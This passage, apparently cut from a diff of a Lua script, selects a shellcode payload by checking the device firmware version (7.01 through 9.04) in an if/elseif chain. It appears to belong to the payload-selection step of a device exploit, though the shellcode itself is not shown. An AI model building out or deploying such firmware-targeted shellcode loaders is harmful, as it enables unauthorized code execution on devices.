FW_VERSION == "7.01" or FW_VERSION == "7.02" then + shellcode = shellcode_700 + elseif FW_VERSION == "7.50" or FW_VERSION == "7.51" or FW_VERSION == "7.55" then + shellcode = shellcode_750 + elseif FW_VERSION == "8.00" or FW_VERSION == "8.01" or FW_VERSION == "8.03" then + shellcode = shellcode_800 + elseif FW_VERSION == "8.50" or FW_VERSION == "8.52" then + shellcode = shellcode_850 + elseif FW_VERSION == "9.00" then shellcode = shellcode_900 elseif FW_VERSION == "9.03" or FW_VERSION == "9.04" then shellcode = shellcode_903